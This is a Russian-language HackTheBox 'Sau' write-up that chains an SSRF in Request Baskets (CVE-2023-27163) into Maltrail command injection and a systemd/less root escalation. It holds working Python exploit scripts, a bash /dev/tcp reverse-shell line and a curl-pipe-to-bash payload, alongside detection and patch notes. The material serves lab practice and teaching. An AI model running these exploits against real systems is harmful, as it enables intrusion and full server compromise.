Перейти к содержимому

SSRF Request Baskets HTB Sau — пишем эксплойт на Python requests с нуля

SSRF Request Baskets HTB Sau — пишем эксплойт на Python requests с нуля
Время чтения: 11 мин.

EPSS (Exploit Prediction Scoring System — шкала от 0 до 1, показывающая вероятность реальной эксплуатации уязвимости в ближайшие 30 дней) для CVE-2023-27163 — 0.07 при перцентиле 93.5. Это top-7% среди всех зарегистрированных CVE. Не учебная дыра из методички, а SSRF (Server-Side Request Forgery — атака, при которой мы заставляем сервер выполнить HTTP-запрос вместо нас к ресурсу, недоступному извне), которая встречается на живых серверах. На машине HTB Sau эта уязвимость запускает полную цепочку: от первого HTTP-запроса до root-shell. Большинство writeup’ов сводятся к запуску чужого bash-скрипта — я разберу механику на уровне HTTP-запросов и покажу, как написать эксплойт на Python requests с нуля, объясняя каждую строку.

Место в цепочке атаки

Прежде чем лезть в детали — полная цепочка с привязкой к MITRE ATT&CK (открытая база тактик и техник атак; T-коды вроде T1190 — идентификаторы конкретных техник):

  1. Разведка — nmap обнаруживает Request Baskets 1.2.1 на порту 55555 и два отфильтрованных порта (80, 8338). Vulnerability Scanning (T1595.002, тактика Reconnaissance).

  2. Initial Access — эксплуатируем SSRF в Request Baskets (CVE-2023-27163), чтобы добраться до внутреннего сервиса на порту 80, закрытого файрволом. Exploit Public-Facing Application (T1190).

  3. Execution — через SSRF передаём OS command injection в Maltrail 0.53 и получаем обратный shell от пользователя puma. Python (T1059.006).

  4. Privilege Escalation — puma может запускать systemctl status через sudo. Версия systemd 245 уязвима к CVE-2023-26604: пейджер less стартует с правами root, из него выходим в root-shell.

По классификации CISA SSVC (Stakeholder-Specific Vulnerability Categorization — методика приоритизации уязвимостей), обе CVE имеют technical impact: total — полная компрометация.

[Применимо: внешний пентест, CTF/лабораторная среда без WAF и IDS]

Требования к окружению

  • ОС: Kali Linux 2023+ или любой Linux с Python 3.8+
  • RAM: 2 ГБ минимум (одна VM + VPN-подключение)
  • Сеть: VPN-подключение к HackTheBox (файл .ovpn), стабильный канал
  • Инструменты: nmap, curl, netcat — предустановлены в Kali
  • Python: библиотека requests — установить через pip install requests
  • Listener: netcat (nc -lvnp 9001) или pwncat-cs для стабильного обратного shell

HTB Sau writeup — разведка через nmap

Первое, что делаем на любой машине — смотрим, что торчит наружу. Запускаем полное сканирование: nmap -p- --min-rate 10000 10.10.11.224. Флаг -p- — все 65535 TCP-портов, --min-rate 10000 задаёт минимальную скорость отправки пакетов (в лабораторной среде допустимо; на реальном пентесте скорость снижают, чтобы не светиться в логах IDS).

Результат — четыре порта:

  • 22/tcp open — SSH, OpenSSH 8.2p1 (Ubuntu 20.04 Focal)
  • 80/tcp filtered — HTTP, недоступен извне
  • 8338/tcp filtered — неизвестный сервис, тоже закрыт
  • 55555/tcp open — HTTP-сервис

Что значит filtered? Сервис работает, но файрвол (iptables/nftables) блокирует входящие соединения. Порты доступны изнутри на localhost — и если найти SSRF, сервер сам обратится к ним вместо нас. Два отфильтрованных порта при одном открытом HTTP-сервисе — прямая подсказка: ищи SSRF.

Детализируем открытые порты: nmap -p 22,55555 -sCV 10.10.11.224 (флаг -sC запускает стандартные NSE-скрипты, -sV определяет версии сервисов).

При переходе на http://10.10.11.224:55555 происходит редирект на /web. На странице — интерфейс Request Baskets, open-source сервис для сбора и инспекции HTTP-запросов, написанный на Go. В подвале: «Powered by request-baskets | Version: 1.2.1». Эта версия — последняя, подверженная CVE-2023-27163.

Дополнительная разведка через feroxbuster (утилита для перебора директорий) ничего не даёт: кроме /web всё возвращает 400 или 404. Приложение минималистичное, точка входа одна.

Request Baskets CVE-2023-27163 — уязвимость SSRF через прокси сервис

CVE-2023-27163 затрагивает request-baskets версий до 1.2.1 включительно (пакет github.com/darklynx/request-baskets, по данным OSV.dev). Тип уязвимости: CWE-918 — Server-Side Request Forgery. В классификации OWASP Top 10 это позиция A10:2021, добавленная из-за роста подобных атак.

CVSS (Common Vulnerability Scoring System — стандартная шкала критичности от 0 до 10): 6.5 MEDIUM, вектор CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N.

Разберём вектор — он хорошо показывает характер атаки:

  • AV:N — атака по сети, физический доступ не нужен
  • AC:L — сложность низкая
  • PR:H — по оценке NVD, нужны высокие привилегии. Но в дефолтной конфигурации HTB Sau API создания корзин открыт без авторизации. Оценка NVD отражает продакшн-деплой с настроенной аутентификацией — держите это в голове
  • UI:N — участие пользователя не требуется
  • C:H / I:H — высокое влияние на конфиденциальность и целостность
  • A:N — доступность не затрагивается

Теперь механика. API-эндпоинт /api/baskets/{name} принимает POST-запрос с JSON-конфигурацией. При создании корзины задаём три параметра:

  • forward_url — URL, на который Request Baskets пересылает входящие запросы
  • proxy_response — если true, ответ от внутреннего сервиса возвращается обратно клиенту
  • expand_path — если true, путь из оригинального запроса добавляется к forward_url

Сочетание этих трёх параметров превращает безобидный сервис в открытый прокси. Создаём корзину с forward_url=http://127.0.0.1:80 — и любой запрос к ней летит на внутренний сервис. Файрвол обойдён, порты со статусом filtered — наши.

Работает если: Request Baskets ≤ 1.2.1, API создания корзин не требует авторизации, нет WAF-правил против SSRF. Не работает если: версия выше 1.2.1, API защищён токеном, WAF блокирует forward_url на внутренние адреса (127.0.0.1, 169.254.169.254).

SSRF Python эксплойт — пишем скрипт на requests с нуля

Зачем писать свой эксплойт, когда на GitHub есть готовый PoC на bash (репозиторий entr0pie/CVE-2023-27163, 31 звезда)? Потому что bash-скрипт — чёрный ящик. Понимание каждого HTTP-запроса позволяет адаптировать атаку: другой порт, нестандартный путь, нужна авторизация. Python-скрипт проще модифицировать, чем цепочку curl-команд.

Предусловия: Python 3.8+, установленная библиотека requests, сетевой доступ к целевой машине через HTB VPN.

import requests, sys

target = sys.argv[1]        # http://10.10.11.224:55555
internal = sys.argv[2]      # http://127.0.0.1:80
basket = "ssrf_poc"

resp = requests.post(f"{target}/api/baskets/{basket}", json={
    "forward_url": internal,
    "proxy_response": True,
    "expand_path": True
})
print(f"[+] Basket URL: {target}/{basket}")
print(f"[+] Token: {resp.json()['token']}")

Построчно: sys.argv[1] принимает адрес Request Baskets, sys.argv[2] — внутренний URL, к которому хотим добраться. requests.post отправляет POST-запрос на API с JSON-телом. Три параметра — минимальный набор для SSRF: forward_url задаёт цель, proxy_response возвращает ответ клиенту, expand_path пробрасывает путь дальше.

Запуск: python3 exploit.py http://10.10.11.224:55555 http://127.0.0.1:80.

Ожидаемый вывод: строка с URL корзины и токен доступа (строка вида qGh7kL...). Если ошибка 409 Conflict — корзина с таким именем уже существует, поменяйте значение переменной basket.

Проверяем: curl http://10.10.11.224:55555/ssrf_poc. Если в ответе HTML со строкой «Maltrail» и заголовок Server: Maltrail/0.53 — SSRF работает. Вы видите ответ от внутреннего сервиса на порту 80, который напрямую недоступен. Приятное чувство.

От SSRF к RCE — эксплуатация Maltrail 0.53

Maltrail — система обнаружения вредоносного трафика. Версия 0.53 содержит OS command injection (класс A03:2021 по OWASP — Injection): параметр username на эндпоинте /login попадает в shell-команду без санитизации. Вообще без неё.

Благодаря expand_path: true путь /login из нашего запроса добавляется к forward_url. Запрос к http://10.10.11.224:55555/ssrf_poc/login перенаправляется на http://127.0.0.1:80/login — эндпоинт аутентификации Maltrail.

Подготовка обратного shell — три действия в трёх разных терминалах:

  1. Создаём файл с reverse shell: echo 'bash -i >& /dev/tcp/YOUR_IP/9001 0>&1' > rev.sh (замените YOUR_IP на ваш HTB IP из ip addr show tun0).
  2. Раздаём файл через HTTP: python3 -m http.server 8000. Ожидаемый результат: сообщение «Serving HTTP on 0.0.0.0 port 8000».
  3. Запускаем слушатель: nc -lvnp 9001. Ожидаемый результат: «Listening on 0.0.0.0 9001».

Расширяем Python-эксплойт — SSRF и RCE в одном скрипте:

import requests, sys

target, lhost = sys.argv[1], sys.argv[2]
basket = "rce_chain"
requests.post(f"{target}/api/baskets/{basket}", json={
    "forward_url": "http://127.0.0.1:80",
    "proxy_response": True, "expand_path": True
})
cmd = f"curl {lhost}:8000/rev.sh|bash"
requests.post(f"{target}/{basket}/login",
    data={"username": f";`{cmd}`"})
print("[+] Payload sent — check listener")

Первый requests.post создаёт SSRF-корзину. Второй отправляет POST к /login через корзину — Request Baskets перенаправляет его на http://127.0.0.1:80/login. Maltrail получает параметр username со значением ;curl …/rev.sh|bash` и выполняет команду внутри обратных кавычек: скачиваетrev.sh` и запускает через bash.

Запуск: python3 exploit.py http://10.10.11.224:55555 10.10.XX.XX (ваш HTB IP).

Ожидаемый результат: в терминале с nc -lvnp 9001 появляется shell. Проверяем: whoamipuma. Флаг пользователя: cat ~/user.txt.

Повышение привилегий — CVE-2023-26604

Получив shell от puma, проверяем sudo-права: sudo -l. Вывод: пользователь puma может запускать /usr/bin/systemctl status trail.service от имени root без пароля.

CVE-2023-26604 (CWE-269 — Improper Privilege Management): systemd до версии 247 не устанавливает переменную окружения LESSSECURE=1 при вызове пейджера. Когда вывод systemctl status длиннее высоты терминала, запускается пейджер less — и он наследует права root от sudo. Из less можно выполнить произвольную команду через !sh. Этот приём задокументирован на GTFOBins для бинаря less — если ещё не знакомы с GTFOBins, добавьте в закладки, он пригодится на каждой второй машине.

CVSS: 7.8 HIGH, вектор CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. Нужен локальный доступ (AV:L) и низкие привилегии (PR:L) — оба условия у нас выполнены.

Проверяем версию: systemctl --versionsystemd 245. Ниже 247 — уязвима.

Работает если: systemd < 247, пользователь в sudoers для systemctl, терминал достаточно узкий для запуска пейджера. Не работает если: systemd ≥ 247 (Ubuntu 22.04+, RHEL 9 — Red Hat подтвердил: Not affected), переменная LESSSECURE=1 установлена.

Шаги эксплуатации:

  1. Уменьшаем высоту терминала: stty rows 5 (или сужаем окно, если работаете через GUI-терминал)
  2. Запускаем привилегированную команду: sudo /usr/bin/systemctl status trail.service
  3. Вывод не помещается → запускается less от имени root
  4. В пейджере вводим !sh и нажимаем Enter
  5. Проверяем: whoamiroot. Флаг: cat /root/root.txt

Ограничения SSRF-цепочки в реальном пентесте

HTB Sau — лабораторная машина без средств защиты. На продакшне цепочка столкнётся с конкретными препятствиями:

  • WAF и сетевая сегментация. ModSecurity, AWS WAF и Cloudflare имеют встроенные правила против SSRF — блокируют forward_url на адреса 127.0.0.1, localhost, 169.254.169.254 (metadata-эндпоинт облаков). Микросервисная архитектура с network policies не даст Request Baskets обратиться к произвольному сервису.
  • Аутентификация. В продакшн-конфигурации создание корзин требует токен — PR:H в CVSS-векторе отражает именно этот сценарий.
  • Детектирование. Nuclei-шаблон CVE-2023-27163.yaml доступен в официальном репозитории ProjectDiscovery — blue team может проактивно сканировать инфраструктуру. POST-запросы к /api/baskets/ с forward_url на внутренние адреса — явный IoC (Indicator of Compromise — признак, по которому можно обнаружить атаку).
  • Патчи. Maltrail выше 0.53 не содержит command injection. systemd ≥ 247 выставляет LESSSECURE=1. Для RHEL 8 выпущен RHSA-2023:3837, для RHEL 7 — RHSA-2024:7705. Одного обновления в любом звене достаточно, чтобы цепочка развалилась.

Три CVE на одной машине — учебный сценарий. Но паттерн «SSRF как точка входа к внутренним сервисам» воспроизводится в реальных аудитах постоянно. По данным Mandiant M-Trends 2025, 38% случаев initial access в 2024 году — эксплуатация уязвимостей, и SSRF занимает в этой статистике заметную долю. Причина простая: SSRF открывает дорогу к внутренним API, metadata-эндпоинтам и админкам, которые разработчики считали «недоступными извне».

Кто-то скажет: CVE-2023-27163 — Easy-машина, разбирать нечего, запустил скрипт и пошёл дальше. Я вижу иначе. Разница между запуском чужого PoC и пониманием, почему forward_url в сочетании с proxy_response превращает безобидный сервис в открытый прокси — это разница между оператором инструмента и пентестером. Когда стандартный bash-скрипт не сработает (а на реальном проекте он не сработает — другая версия, нужна авторизация, нестандартный путь), адаптировать атаку сможет только тот, кто собрал эксплойт руками и разобрал каждый параметр. Формула на бумаге понятна, но SSRF по-настоящему ощущается, когда сам прогоняешь запросы и видишь, как ответ от внутреннего сервиса возвращается к тебе через прокси. Если Hack The Box без объяснений «почему» кажется бессмысленным — на codeby.school есть IB Basics, где разбирают классы уязвимостей, а не отдельные CVE.

Эту тему и смежные навыки разбирают на практике в курсе «Основы программирования на Python» Codeby Academy.